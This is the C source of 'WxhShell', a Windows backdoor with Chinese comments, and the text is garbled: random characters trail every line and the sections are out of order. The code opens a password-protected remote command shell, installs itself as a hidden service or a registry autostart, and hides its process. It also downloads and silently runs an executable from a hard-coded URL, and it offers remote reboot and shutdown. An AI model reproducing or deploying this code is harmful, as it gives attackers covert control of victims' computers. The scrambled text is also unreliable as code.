ULONG InheritedFromUniqueProcessId; oImgj4C2L
} PROCESS_BASIC_INFORMATION; AWXpA1(
?lN8~Ze
PROCNTQSIP NtQueryInformationProcess; M2Fj)w2
'#PqI)P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wKS-O%?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gam#6
s
%`1CE\f
HANDLE hProcess; lN>C#e<]
PROCESS_BASIC_INFORMATION pbi; `Uj?PcS_
##FNq#F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yPh2P5}H>
if(NULL == hInst ) return 0; Ca@=s
hdJwNmEA>
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'F"Y?y:!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RrdtU7i3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L"!ZY
~!:S p_y
if (!NtQueryInformationProcess) return 0; tK}p05nPhl
k +#l;<\2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5vX8mPR_
if(!hProcess) return 0; _<RR`
=Z .V+ 4+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i(yAmo9h
qJXsf M6
CloseHandle(hProcess); J7wQ=!g
Dnm.!L8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :@%-f:iDj
if(hProcess==NULL) return 0; fb.\V]K
F:o#
HMODULE hMod; I,4-
char procName[255]; ,o@~OTja*
unsigned long cbNeeded; -F+P;S
O0wCb
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?t0zsq
tG2OVRx8u
CloseHandle(hProcess); ' q<EZ{
\btR^;_\A
if(strstr(procName,"services")) return 1; // 以服务启动 #>m,
Cm
+iH30v
return 0; // 注册表启动 Jhsv2,8
{
} q
X%vRf0
n~)HfY
// 主模块 !\#Wk0Ku
int StartWxhshell(LPSTR lpCmdLine) %:w% o$
{ "4ozlWx
SOCKET wsl; s w.AfRQP
BOOL val=TRUE; `,Y[ Z
int port=0; 0YpiHoM
struct sockaddr_in door; Yl&tkSw46
FfxX)p1t
if(wscfg.ws_autoins) Install(); SQt|(r)
GtM(
Y
port=atoi(lpCmdLine); 7}'A)C>J;
o d}EM_
if(port<=0) port=wscfg.ws_port; 33<fN:J]f
`!omzE*bk5
WSADATA data; {nQ)4.e6
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S}w.#tyEn
@bW[J
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v-;XyVx
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \%Ah^U)gS
door.sin_family = AF_INET; rI<nUy P?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?wLdW1&PpX
door.sin_port = htons(port); :Dk@?o@2;C
Y0PGT5].@'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h-La'}>?
closesocket(wsl); O[(?.9
return 1; vNz;#Je
} ,zN3? /7
O J35En
if(listen(wsl,2) == INVALID_SOCKET) { d2A
wvP
closesocket(wsl); I>H;o{X#
return 1; )ew[ Ak|
} ?{"XrQw
Wxhshell(wsl); VqD[G<|9T
WSACleanup(); 7bonOt
Y
,ykPQzO
return 0; {}g %"mi#
,l$NJt
} A-a17}fta
my\o P(e\
// 以NT服务方式启动 :T7?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H~[LJ5x
{ `! nJS|
DWORD status = 0; , G[r+4|h
DWORD specificError = 0xfffffff; }{&ln
>P\h,1
serviceStatus.dwServiceType = SERVICE_WIN32; A,m4WO_q3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; DHm[8 Qp
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~JwpNJs
serviceStatus.dwWin32ExitCode = 0; ShWHHU(QQ
serviceStatus.dwServiceSpecificExitCode = 0; Jt2,LL:G
serviceStatus.dwCheckPoint = 0; /lLov.
serviceStatus.dwWaitHint = 0; Vl{~@G, @
t{R5
E U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (VYR!(17
if (hServiceStatusHandle==0) return; 9Hf*cQ
cW)Oi^q%o2
status = GetLastError(); ptV4s=G2
if (status!=NO_ERROR) _{6,.TN
{ ~LawF_]6
serviceStatus.dwCurrentState = SERVICE_STOPPED; I!fB1aq-
serviceStatus.dwCheckPoint = 0; cq*p9c
serviceStatus.dwWaitHint = 0; _m9~*
serviceStatus.dwWin32ExitCode = status; b:P\=k]8#
serviceStatus.dwServiceSpecificExitCode = specificError; 2Vp>"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X,RT<GNNb
return; (TEo_BW|+
} ${hyNt
R9tckRG#
serviceStatus.dwCurrentState = SERVICE_RUNNING; |H ^w>mk
serviceStatus.dwCheckPoint = 0; !}>eo2$r^
serviceStatus.dwWaitHint = 0; DeOXM=&z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '8)Wd"[
} 9?uqQ
:O9P(X*
// 处理NT服务事件,比如:启动、停止 koOy Z>
VOID WINAPI NTServiceHandler(DWORD fdwControl) jrm0@K+<IA
{ H<`^w)?
switch(fdwControl) 2X|CuL{]
{ O.*jR`l
case SERVICE_CONTROL_STOP: {
EA2
serviceStatus.dwWin32ExitCode = 0; `nT?6gy
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~TYbP
serviceStatus.dwCheckPoint = 0; C
_8j:Z&
serviceStatus.dwWaitHint = 0; i{gDW+N
{ 7w "sJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f5@.^hi[
} p QluGIX0V
return; [J~aAB
case SERVICE_CONTROL_PAUSE: z*6$&sS\>
serviceStatus.dwCurrentState = SERVICE_PAUSED; KHvIN}V5?3
break; "@.Z#d|Y
case SERVICE_CONTROL_CONTINUE: QTVa
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3PsxOb+
break; R=`U 4Ml;
case SERVICE_CONTROL_INTERROGATE: 0/ut:RV0
break; SK's!m:r=
};
?E%+}P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <u0*"
} 8)N0S% B
G9\EZ\x!
// 标准应用程序主函数 '.pgXsC:=?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D899gGe
{ KzV.+f
FyCBNtCv
// 获取操作系统版本 e\`wlaP,
OsIsNt=GetOsVer(); [ L
GetModuleFileName(NULL,ExeFile,MAX_PATH); p`
$fTgm
Jf2e<?`
// 从命令行安装 mv{<'
if(strpbrk(lpCmdLine,"iI")) Install(); &a.']!$^"
M9gOoYf,~
// 下载执行文件 y)P&]&"?
if(wscfg.ws_downexe) { nt7|f,_J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;:P7}v fz!
WinExec(wscfg.ws_filenam,SW_HIDE); >GgE,h
} R0{Qy*YQ`
!6lOIgn
if(!OsIsNt) { ^D>fis
// 如果时win9x,隐藏进程并且设置为注册表启动 ]* 0(-@
HideProc(); '?5S"??
StartWxhshell(lpCmdLine); +6
ho)YL
} U<Vy>gIC
else ^[#=L4
if(StartFromService()) L/ ~D<V
// 以服务方式启动 mIvnz{_d
StartServiceCtrlDispatcher(DispatchTable); 7m\vRMK
else -!l^]MU
// 普通方式启动 L${m/@9
StartWxhshell(lpCmdLine); >z QNHSi
Uls+n@\!
return 0; DE%fF,Hk3
} VrVDm*AGQ
w^ 3|(F
?b56AE
6.[)`iF+#
=========================================== ?H`j>]%&
6F(hY !}5
wZQ)jo7*g
guU=NQZ
$(3uOsy
#G[t X6gU
" ^+wk
40u7fojg2
#include <stdio.h> CI^[I\$&
#include <string.h> \0nlPXk?G
#include <windows.h> })PO7:
#include <winsock2.h>
>zQOK-
#include <winsvc.h> 88+
=F
XG
#include <urlmon.h> =5?.'XMk
`%Q&</X
#pragma comment (lib, "Ws2_32.lib") 6AAswz'$P
#pragma comment (lib, "urlmon.lib") >VP5vkv=
b:1 L@8s;
#define MAX_USER 100 // 最大客户端连接数 /[%w*v*'
#define BUF_SOCK 200 // sock buffer okstY4f'
#define KEY_BUFF 255 // 输入 buffer p-xd k|'[
cAb>2]M5V
#define REBOOT 0 // 重启 w//omF'`
#define SHUTDOWN 1 // 关机 yPoSJzC=[
gGEIK0\{
#define DEF_PORT 5000 // 监听端口 4@h;5
Kk=LXmL2
#define REG_LEN 16 // 注册表键长度 %&h c"7/k
#define SVC_LEN 80 // NT服务名长度 J#''q"rZ
n}JPYu
// 从dll定义API 9Sz7\W0
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ALXTR%f
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TdFT];:
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wG8
nw;
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f0DK>L
0elxA8Z~e
// wxhshell配置信息 wx*1*KZ
struct WSCFG { <!F3s`7~
int ws_port; // 监听端口 JaI Kjn
char ws_passstr[REG_LEN]; // 口令 aBxiK[[`
int ws_autoins; // 安装标记, 1=yes 0=no 7\X$7
char ws_regname[REG_LEN]; // 注册表键名 {~_Y _-
char ws_svcname[REG_LEN]; // 服务名 Bd&`Xfebj
char ws_svcdisp[SVC_LEN]; // 服务显示名 WI&lj<*
char ws_svcdesc[SVC_LEN]; // 服务描述信息 gw+eM,Yp
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gfN2/TDC]P
int ws_downexe; // 下载执行标记, 1=yes 0=no epkD*7
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R!6=7
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n'M>xq_
w"~<h;
}; \J3/keL
:y1 Bt+Fp
// default Wxhshell configuration '1-maM\r
struct WSCFG wscfg={DEF_PORT, =ewy Q
"xuhuanlingzhe", :IZ"D40m"
1, g*J@[y;
"Wxhshell", ~x#vZ=]8
"Wxhshell", N}x9N.
"WxhShell Service", |55dbL$w
"Wrsky Windows CmdShell Service", JNi=`X&A
"Please Input Your Password: ", "}zt`3
1, +rc SL8C
"http://www.wrsky.com/wxhshell.exe", Q|c|2byb
"Wxhshell.exe" i%F<AY\O)
}; Z!_n_Fk
nQ-mmY>#
// 消息定义模块 "VTF}#Uo
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :G=FiC
char *msg_ws_prompt="\n\r? for help\n\r#>"; t7*#[x)a
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^~1<f1(
char *msg_ws_ext="\n\rExit."; .3X Y&6
char *msg_ws_end="\n\rQuit."; 0` 5e
char *msg_ws_boot="\n\rReboot..."; I2[]A,f,
char *msg_ws_poff="\n\rShutdown..."; '3Q3lM'lh
char *msg_ws_down="\n\rSave to "; "r$/
)];aI A$
char *msg_ws_err="\n\rErr!"; tJ'iX>9I
char *msg_ws_ok="\n\rOK!"; snC/H G7
FnE6?~xa
char ExeFile[MAX_PATH]; wk @,wOt
int nUser = 0; Ej"u1F14J
HANDLE handles[MAX_USER]; PVYyE3`UB
int OsIsNt; #
yN*',I&
!%[S49s
SERVICE_STATUS serviceStatus; ].m qxf
SERVICE_STATUS_HANDLE hServiceStatusHandle; tTuX\;G
=J/ FJb
// 函数声明 [Y/:@t"2y
int Install(void); zk}{ dG^M:
int Uninstall(void);
3+U]?7t
int DownloadFile(char *sURL, SOCKET wsh); G%:GeW
int Boot(int flag); &